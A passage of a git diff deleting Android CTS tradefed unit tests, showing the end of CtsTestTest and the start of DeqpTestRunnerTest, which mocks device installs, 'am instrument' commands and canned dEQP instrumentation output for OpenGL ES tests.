-        // PACKAGE_NAME would normally be run, but it has been excluded. Expect nothing to happen
-        replayMocks();
-        mCtsTest.run(mMockListener);
-        verifyMocks();
-    }
-
-    /**
-     * Test {@link CtsTest#run(ITestInvocationListener)} when --continue-session is specified
-     */
-    public void testRun_continueSession() throws DeviceNotAvailableException {
-        mCtsTest.setContinueSessionId(1);
-        EasyMock.expect(mMockPlan.getTestIds()).andReturn(IDS);
-        TestFilter filter = new TestFilter();
-        EasyMock.expect(mMockPlan.getTestFilter(ID)).andReturn(filter);
-
-        mMockPackageDef.setTestFilter(filter);
-
-        setCreateAndRunTestExpectations();
-
-        replayMocks();
-        mCtsTest.run(mMockListener);
-        verifyMocks();
-    }
-
-    /**
-     * Set EasyMock expectations for parsing {@link #PLAN_NAME}
-     */
-    private void setParsePlanExpectations() throws ParseException {
-        mCtsTest.setPlanName(PLAN_NAME);
-        mMockPlan.parse((InputStream) EasyMock.anyObject());
-        EasyMock.expect(mMockPlan.getTestIds()).andReturn(IDS);
-        TestFilter filter = new TestFilter();
-        EasyMock.expect(mMockPlan.getTestFilter(ID)).andReturn(filter);
-        mMockPackageDef.setTestFilter(filter);
-    }
-
-    /**
-     * Set EasyMock expectations for creating and running a package with PACKAGE_NAME
-     */
-    private void setCreateAndRunTestExpectations() throws DeviceNotAvailableException {
-        EasyMock.expect(mMockRepo.getPackageNames()).andReturn(NAMES).anyTimes();
-        EasyMock.expect(mMockRepo.getPackageIds()).andReturn(IDS).anyTimes();
-        EasyMock.expect(mMockRepo.getTestPackage(ID)).andReturn(mMockPackageDef).anyTimes();
-        EasyMock.expect(mMockPackageDef.createTest((File) EasyMock.anyObject())).andReturn(mMockTest);
-        EasyMock.expect(mMockPackageDef.getTests()).andReturn(TEST_IDENTIFIER_LIST).times(2);
-        EasyMock.expect(mMockPackageDef.getName()).andReturn(PACKAGE_NAME).atLeastOnce();
-        EasyMock.expect(mMockPackageDef.getAbi()).andReturn(UnitTests.ABI).atLeastOnce();
-        EasyMock.expect(mMockPackageDef.getId()).andReturn(ID).atLeastOnce();
-        EasyMock.expect(mMockPackageDef.getDigest()).andReturn("digest").atLeastOnce();
-        EasyMock.expect(mMockPackageDef.getPackagePreparers()).andReturn(
-                    new ArrayList<ITargetPreparer>()).atLeastOnce();
-        mMockTest.run((ITestInvocationListener) EasyMock.anyObject());
-    }
-
-    /**
-     * Test {@link CtsTest#run(ITestInvocationListener)} when --plan and --package options have not
-     * been specified
-     */
-    public void testRun_nothingToRun() throws DeviceNotAvailableException {
-        replayMocks();
-        try {
-            mCtsTest.run(mMockListener);
-            fail("IllegalArgumentException not thrown");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Test {@link CtsTest#run(ITestInvocationListener)} when --plan and --package options have
-     * been specified.
-     */
-    public void testRun_packagePlan() throws DeviceNotAvailableException {
-        mCtsTest.setPlanName(PLAN_NAME);
-        mCtsTest.addPackageName(PACKAGE_NAME);
-        replayMocks();
-        try {
-            mCtsTest.run(mMockListener);
-            fail("IllegalArgumentException not thrown");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Test {@link CtsTest#run(ITestInvocationListener)} when --plan and --class options have been
-     * specified
-     */
-    public void testRun_planClass() throws DeviceNotAvailableException {
-        mCtsTest.setPlanName(PLAN_NAME);
-        mCtsTest.setClassName("class");
-        replayMocks();
-        try {
-            mCtsTest.run(mMockListener);
-            fail("IllegalArgumentException not thrown");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Test {@link CtsTest#run(ITestInvocationListener)} when --package and --class options have
-     * been specified
-     */
-    public void testRun_packageClass() throws DeviceNotAvailableException {
-        mCtsTest.addPackageName(PACKAGE_NAME);
-        mCtsTest.setClassName("class");
-        replayMocks();
-        try {
-            mCtsTest.run(mMockListener);
-            fail("IllegalArgumentException not thrown");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Test {@link CtsTest#run(ITestInvocationListener)} when --plan, --package and --class options
-     * have been specified
-     */
-    public void testRun_planPackageClass() throws DeviceNotAvailableException {
-        mCtsTest.setPlanName(PLAN_NAME);
-        mCtsTest.addPackageName(PACKAGE_NAME);
-        mCtsTest.setClassName("class");
-        replayMocks();
-        try {
-            mCtsTest.run(mMockListener);
-            fail("IllegalArgumentException not thrown");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Test {@link CtsTest#run(ITestInvocationListener)} when --plan, --continue-option options
-     * have been specified
-     */
-    public void testRun_planContinue() throws DeviceNotAvailableException {
-        mCtsTest.setPlanName(PLAN_NAME);
-        mCtsTest.setContinueSessionId(1);
-        replayMocks();
-        try {
-            mCtsTest.run(mMockListener);
-            fail("IllegalArgumentException not thrown");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Test {@link CtsTestTest#join} works.
-     * @throws DeviceNotAvailableException
-     */
-    public void testJoin() throws DeviceNotAvailableException {
-        String expected = "a@b@c";
-        String actual = mCtsTest.join(new ArrayList<String>(Arrays.asList("a", "b", "c")), "@");
-        assertEquals(expected, actual);
-    }
-
-    /**
-     * Test {@link CtsTestTest#join} for a single element list.
-     * @throws DeviceNotAvailableException
-     */
-    public void testSingleJoin() throws DeviceNotAvailableException {
-        String actual = mCtsTest.join(new ArrayList<String>(Arrays.asList("foo")), "@");
-        assertEquals("foo", actual);
-    }
-
-    /**
-     * Test {@link CtsTestTest#join} for an empty list.
-     * @throws DeviceNotAvailableException
-     */
-    public void testEmptyJoin() throws DeviceNotAvailableException {
-        String actual = mCtsTest.join(new ArrayList<String>(), "@");
-        assertEquals("", actual);
-    }
-
-    private void replayMocks(Object... mocks) {
-        EasyMock.replay(mMockRepo, mMockPlan, mMockDevice, mMockPackageDef, mMockListener, mMockTest);
-        EasyMock.replay(mocks);
-    }
-
-    private void verifyMocks(Object... mocks) {
-        EasyMock.verify(mMockRepo, mMockPlan, mMockDevice, mMockPackageDef, mMockListener, mMockTest);
-        EasyMock.verify(mocks);
-    }
-}
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/DeqpTestRunnerTest.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/DeqpTestRunnerTest.java
deleted file mode 100644
index 2ba6b42..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/testtype/DeqpTestRunnerTest.java
+++ /dev/null
@@ -1,3076 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.testtype;
-
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.cts.tradefed.UnitTests;
-import com.android.cts.tradefed.build.StubCtsBuildHelper;
-import com.android.ddmlib.IDevice;
-import com.android.ddmlib.IShellOutputReceiver;
-import com.android.ddmlib.ShellCommandUnresponsiveException;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.util.IRunUtil;
-import com.android.tradefed.util.RunInterruptedException;
-
-import junit.framework.TestCase;
-
-import org.easymock.EasyMock;
-import org.easymock.IAnswer;
-import org.easymock.IMocksControl;
-
-import java.io.File;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Unit tests for {@link DeqpTestRunner}.
- */
-public class DeqpTestRunnerTest extends TestCase {
-    private static final String NAME = "dEQP-GLES3";
-    private static final String ID = AbiUtils.createId(UnitTests.ABI.getName(), NAME);
-    private static final String CASE_LIST_FILE_NAME = "/sdcard/dEQP-TestCaseList.txt";
-    private static final String LOG_FILE_NAME = "/sdcard/TestLog.qpa";
-    private static final String INSTRUMENTATION_NAME =
-            "com.drawelements.deqp/com.drawelements.deqp.testercore.DeqpInstrumentation";
-    private static final String QUERY_INSTRUMENTATION_NAME =
-            "com.drawelements.deqp/com.drawelements.deqp.platformutil.DeqpPlatformCapabilityQueryInstrumentation";
-    private static final String DEQP_ONDEVICE_APK = "com.drawelements.deqp.apk";
-    private static final String DEQP_ONDEVICE_PKG = "com.drawelements.deqp";
-    private static final String ONLY_LANDSCAPE_FEATURES =
-            "feature:"+DeqpTestRunner.FEATURE_LANDSCAPE;
-    private static final String ALL_FEATURES =
-            ONLY_LANDSCAPE_FEATURES + "\nfeature:"+DeqpTestRunner.FEATURE_PORTRAIT;
-    private static List<Map<String,String>> DEFAULT_INSTANCE_ARGS;
-
-    static {
-        DEFAULT_INSTANCE_ARGS = new ArrayList<>(1);
-        DEFAULT_INSTANCE_ARGS.add(new HashMap<String,String>());
-        DEFAULT_INSTANCE_ARGS.iterator().next().put("glconfig", "rgba8888d24s8");
-        DEFAULT_INSTANCE_ARGS.iterator().next().put("rotation", "unspecified");
-        DEFAULT_INSTANCE_ARGS.iterator().next().put("surfacetype", "window");
-    }
-
-    private static class StubRecovery implements DeqpTestRunner.IRecovery {
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void setSleepProvider(DeqpTestRunner.ISleepProvider sleepProvider) {
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void setDevice(ITestDevice device) {
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void onExecutionProgressed() {
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void recoverConnectionRefused() throws DeviceNotAvailableException {
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void recoverComLinkKilled() throws DeviceNotAvailableException {
-        }
-    };
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    /**
-     * Test version of OpenGL ES.
-     */
-    private void testGlesVersion(int requiredMajorVersion, int requiredMinorVersion, int majorVersion, int minorVersion) throws Exception {
-        final TestIdentifier testId = new TestIdentifier("dEQP-GLES"
-                + Integer.toString(requiredMajorVersion) + Integer.toString(requiredMinorVersion)
-                + ".info", "version");
-
-        final String testPath = "dEQP-GLES"
-                + Integer.toString(requiredMajorVersion) + Integer.toString(requiredMinorVersion)
-                +".info.version";
-
-        final String testTrie = "{dEQP-GLES"
-                + Integer.toString(requiredMajorVersion) + Integer.toString(requiredMinorVersion)
-                + "{info{version}}}";
-
-        final String resultCode = "Pass";
-
-        /* MultiLineReceiver expects "\r\n" line ending. */
-        final String output = "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=" + testPath + "\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=" + resultCode + "\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Detail" + resultCode + "\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_CODE: 0\r\n";
-
-        ITestDevice mockDevice = EasyMock.createMock(ITestDevice.class);
-        ITestInvocationListener mockListener
-                = EasyMock.createStrictMock(ITestInvocationListener.class);
-        IDevice mockIDevice = EasyMock.createMock(IDevice.class);
-        Collection<TestIdentifier> tests = new ArrayList<TestIdentifier>();
-        tests.add(testId);
-
-        Map<TestIdentifier, List<Map<String, String>>> instance = new HashMap<>();
-        instance.put(testId, DEFAULT_INSTANCE_ARGS);
-
-        DeqpTestRunner deqpTest = new DeqpTestRunner(NAME,
-                "dEQP-GLES" + Integer.toString(requiredMajorVersion)
-                + (requiredMinorVersion > 0 ? Integer.toString(requiredMinorVersion) : ""),
-                tests, instance);
-        deqpTest.setAbi(UnitTests.ABI);
-
-        int version = (majorVersion << 16) | minorVersion;
-        EasyMock.expect(mockDevice.getProperty("ro.opengles.version"))
-            .andReturn(Integer.toString(version)).atLeastOnce();
-
-        if (majorVersion > requiredMajorVersion
-                || (majorVersion == requiredMajorVersion && minorVersion >= requiredMinorVersion)) {
-
-            EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG)))
-                    .andReturn("").once();
-            EasyMock.expect(mockDevice.installPackage(EasyMock.<File>anyObject(),
-                    EasyMock.eq(true),
-                    EasyMock.eq(AbiUtils.createAbiFlag(UnitTests.ABI.getName()))))
-                    .andReturn(null).once();
-
-            expectRenderConfigQuery(mockDevice, requiredMajorVersion,
-                    requiredMinorVersion);
-
-            String commandLine = String.format(
-                    "--deqp-caselist-file=%s --deqp-gl-config-name=rgba8888d24s8 "
-                    + "--deqp-screen-rotation=unspecified "
-                    + "--deqp-surface-type=window "
-                    + "--deqp-log-images=disable "
-                    + "--deqp-watchdog=enable",
-                    CASE_LIST_FILE_NAME);
-
-            runInstrumentationLineAndAnswer(mockDevice, mockIDevice, testTrie, commandLine,
-                    output);
-
-            EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG)))
-                    .andReturn("").once();
-        }
-
-        mockListener.testRunStarted(ID, 1);
-        EasyMock.expectLastCall().once();
-
-        mockListener.testStarted(EasyMock.eq(testId));
-        EasyMock.expectLastCall().once();
-
-        mockListener.testEnded(EasyMock.eq(testId), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        mockListener.testRunEnded(EasyMock.anyLong(), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        EasyMock.replay(mockDevice, mockIDevice);
-        EasyMock.replay(mockListener);
-
-        deqpTest.setDevice(mockDevice);
-        deqpTest.setBuildHelper(new StubCtsBuildHelper());
-        deqpTest.run(mockListener);
-
-        EasyMock.verify(mockListener);
-        EasyMock.verify(mockDevice, mockIDevice);
-    }
-
-    private void expectRenderConfigQuery(ITestDevice mockDevice, int majorVersion,
-            int minorVersion) throws Exception {
-        expectRenderConfigQuery(mockDevice,
-                String.format("--deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-gl-major-version=%d "
-                + "--deqp-gl-minor-version=%d", majorVersion, minorVersion));
-    }
-
-    private void expectRenderConfigQuery(ITestDevice mockDevice, String commandLine)
-            throws Exception {
-        expectRenderConfigQueryAndReturn(mockDevice, commandLine, "Yes");
-    }
-
-    private void expectRenderConfigQueryAndReturn(ITestDevice mockDevice, String commandLine,
-            String output) throws Exception {
-        final String queryOutput = "INSTRUMENTATION_RESULT: Supported=" + output + "\r\n"
-                + "INSTRUMENTATION_CODE: 0\r\n";
-        final String command = String.format(
-                "am instrument %s -w -e deqpQueryType renderConfigSupported -e deqpCmdLine "
-                    + "\"%s\" %s",
-                AbiUtils.createAbiFlag(UnitTests.ABI.getName()), commandLine,
-                QUERY_INSTRUMENTATION_NAME);
-
-        mockDevice.executeShellCommand(EasyMock.eq(command),
-                EasyMock.<IShellOutputReceiver>notNull());
-
-        EasyMock.expectLastCall().andAnswer(new IAnswer<Object>() {
-            @Override
-            public Object answer() {
-                IShellOutputReceiver receiver
-                        = (IShellOutputReceiver)EasyMock.getCurrentArguments()[1];
-
-                receiver.addOutput(queryOutput.getBytes(), 0, queryOutput.length());
-                receiver.flush();
-
-                return null;
-            }
-        });
-    }
-
-    /**
-     * Test that result code produces correctly pass or fail.
-     */
-    private void testResultCode(final String resultCode, boolean pass) throws Exception {
-        final TestIdentifier testId = new TestIdentifier("dEQP-GLES3.info", "version");
-        final String testPath = "dEQP-GLES3.info.version";
-        final String testTrie = "{dEQP-GLES3{info{version}}}";
-
-        /* MultiLineReceiver expects "\r\n" line ending. */
-        final String output = "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=" + testPath + "\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=" + resultCode + "\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Detail" + resultCode + "\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_CODE: 0\r\n";
-
-        ITestDevice mockDevice = EasyMock.createMock(ITestDevice.class);
-        ITestInvocationListener mockListener
-                = EasyMock.createStrictMock(ITestInvocationListener.class);
-        IDevice mockIDevice = EasyMock.createMock(IDevice.class);
-
-        Collection<TestIdentifier> tests = new ArrayList<TestIdentifier>();
-        tests.add(testId);
-
-        Map<TestIdentifier, List<Map<String, String>>> instance = new HashMap<>();
-        instance.put(testId, DEFAULT_INSTANCE_ARGS);
-
-        DeqpTestRunner deqpTest = new DeqpTestRunner(NAME, NAME, tests, instance);
-        deqpTest.setAbi(UnitTests.ABI);
-
-        int version = 3 << 16;
-        EasyMock.expect(mockDevice.getProperty("ro.opengles.version"))
-                .andReturn(Integer.toString(version)).atLeastOnce();
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG))).andReturn("")
-                .once();
-
-        EasyMock.expect(mockDevice.installPackage(EasyMock.<File>anyObject(),
-                EasyMock.eq(true), EasyMock.eq(AbiUtils.createAbiFlag(UnitTests.ABI.getName()))))
-                .andReturn(null).once();
-
-        expectRenderConfigQuery(mockDevice, 3, 0);
-
-        String commandLine = String.format(
-                "--deqp-caselist-file=%s --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable",
-                CASE_LIST_FILE_NAME);
-
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice, testTrie, commandLine, output);
-
-        mockListener.testRunStarted(ID, 1);
-        EasyMock.expectLastCall().once();
-
-        mockListener.testStarted(EasyMock.eq(testId));
-        EasyMock.expectLastCall().once();
-
-        if (!pass) {
-            mockListener.testFailed(testId,
-                    "=== with config {glformat=rgba8888d24s8,rotation=unspecified,surfacetype=window} ===\n"
-                    + resultCode + ": Detail" + resultCode);
-
-            EasyMock.expectLastCall().once();
-        }
-
-        mockListener.testEnded(EasyMock.eq(testId), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        mockListener.testRunEnded(EasyMock.anyLong(), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG))).andReturn("")
-                .once();
-
-        EasyMock.replay(mockDevice, mockIDevice);
-        EasyMock.replay(mockListener);
-
-        deqpTest.setDevice(mockDevice);
-        deqpTest.setBuildHelper(new StubCtsBuildHelper());
-        deqpTest.run(mockListener);
-
-        EasyMock.verify(mockListener);
-        EasyMock.verify(mockDevice, mockIDevice);
-    }
-
-    /**
-     * Test running multiple test cases.
-     */
-    public void testRun_multipleTests() throws Exception {
-        /* MultiLineReceiver expects "\r\n" line ending. */
-        final String output = "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.info.vendor\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.info.renderer\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.info.version\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.info.shading_language_version\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.info.extensions\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.info.render_target\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_CODE: 0\r\n";
-
-        final TestIdentifier[] testIds = {
-                new TestIdentifier("dEQP-GLES3.info", "vendor"),
-                new TestIdentifier("dEQP-GLES3.info", "renderer"),
-                new TestIdentifier("dEQP-GLES3.info", "version"),
-                new TestIdentifier("dEQP-GLES3.info", "shading_language_version"),
-                new TestIdentifier("dEQP-GLES3.info", "extensions"),
-                new TestIdentifier("dEQP-GLES3.info", "render_target")
-        };
-
-        final String[] testPaths = {
-                "dEQP-GLES3.info.vendor",
-                "dEQP-GLES3.info.renderer",
-                "dEQP-GLES3.info.version",
-                "dEQP-GLES3.info.shading_language_version",
-                "dEQP-GLES3.info.extensions",
-                "dEQP-GLES3.info.render_target"
-        };
-
-        final String testTrie
-                = "{dEQP-GLES3{info{vendor,renderer,version,shading_language_version,extensions,render_target}}}";
-
-        ITestDevice mockDevice = EasyMock.createMock(ITestDevice.class);
-        ITestInvocationListener mockListener
-                = EasyMock.createStrictMock(ITestInvocationListener.class);
-        IDevice mockIDevice = EasyMock.createMock(IDevice.class);
-
-        Collection<TestIdentifier> tests = new ArrayList<TestIdentifier>();
-        Map<TestIdentifier, List<Map<String, String>>> instances = new HashMap<>();
-
-        for (TestIdentifier id : testIds) {
-            tests.add(id);
-            instances.put(id, DEFAULT_INSTANCE_ARGS);
-        }
-
-        DeqpTestRunner deqpTest = new DeqpTestRunner(NAME, NAME, tests, instances);
-        deqpTest.setAbi(UnitTests.ABI);
-
-        int version = 3 << 16;
-        EasyMock.expect(mockDevice.getProperty("ro.opengles.version"))
-                .andReturn(Integer.toString(version)).atLeastOnce();
